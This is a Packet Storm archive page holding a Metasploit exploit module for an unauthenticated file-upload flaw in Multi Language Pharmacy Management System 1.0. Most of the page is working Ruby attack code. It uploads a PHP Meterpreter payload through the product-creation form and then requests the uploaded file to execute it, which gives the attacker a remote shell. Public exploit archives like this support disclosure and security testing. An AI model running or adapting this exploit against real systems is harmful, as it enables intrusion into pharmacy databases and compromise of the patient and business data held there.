exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Multi Language Pharmacy Management System 1.0 Shell Upload

Multi Language Pharmacy Management System 1.0 Shell Upload
Posted Jun 20, 2022
Authored by Emirhan Kurt | Site metasploit.com

This Metasploit module exploits the file upload vulnerability of Multi Language Pharmacy Management System to achieve remote code execution.

tags | exploit, remote, code execution, file upload
SHA-256 | 742456930e5e52c2ee76502248a99373d271bc23c86a2afc2380664719fcc4cb

Multi Language Pharmacy Management System 1.0 Shell Upload

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# Vendor: https://www.mayurik.com/source-code/P0349/best-pharmacy-billing-software-free-download
# Source: https://www.sourcecodester.com/php/15281/multi-language-pharmacy-management-system-project-source-code.html
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Multi Language Pharmacy Management System Unauthenticated Remote Code Execution",
'Description' => %q{
This module exploits the file upload vulnerability of Multi Language Pharmacy Management System and allows remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Emirhan Kurt <emirhan@prodaft.com>' # author & msf module
],
'References' =>
[
['URL', 'https://prodaft.com']
],
'DefaultOptions' =>
{
'SSL' => false,
'WfsDelay' => 5,
},
'Platform' => ['php'],
'Arch' => [ ARCH_PHP],
'Targets' =>
[
['PHP payload',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
}
]
],
'Privileged' => false,
'DisclosureDate' => "Dec 19 2018",
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The TARGET URI of the Pharmacy Management', '/'])
]
)
end

def exploit

print_status('Uploading shell...')

fname = rand_text_alphanumeric(rand(10) + 6) + '.php'

boundary = "---------------------------#{rand_text_numeric(29)}"
data_post = "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"currnt_date\""
data_post << "\r\n\r\n"
data_post << "\r\n"
data_post << "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"Medicine\"; filename=\"#{fname}\"\r\n"
data_post << "Content-Type: application/x-php\r\n"
data_post << "\r\n#{payload.encoded}\r\n"
data_post << "--#{boundary}\r\n"

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'php_action/createProduct.php'),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data_post,
})

if res && res.code == 302 && res.body.include?('Image uploaded successfully')
print_good("Shell uploaded as #{fname}")
else
print_error("Server responded with code #{res.code}")
print_error("Failed to upload shell")
return false
end

print_status('Executing payload...')
send_request_cgi({
'uri' => normalize_uri(target_uri.path,'assets/myimages/'+fname),
'method' => 'GET'
}, 5)

if res
print_good("Payload successfully triggered !")
else
print_error("Server responded with code #{res.code}")
print_error("Failed to upload shell")
return false
end

handler

end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close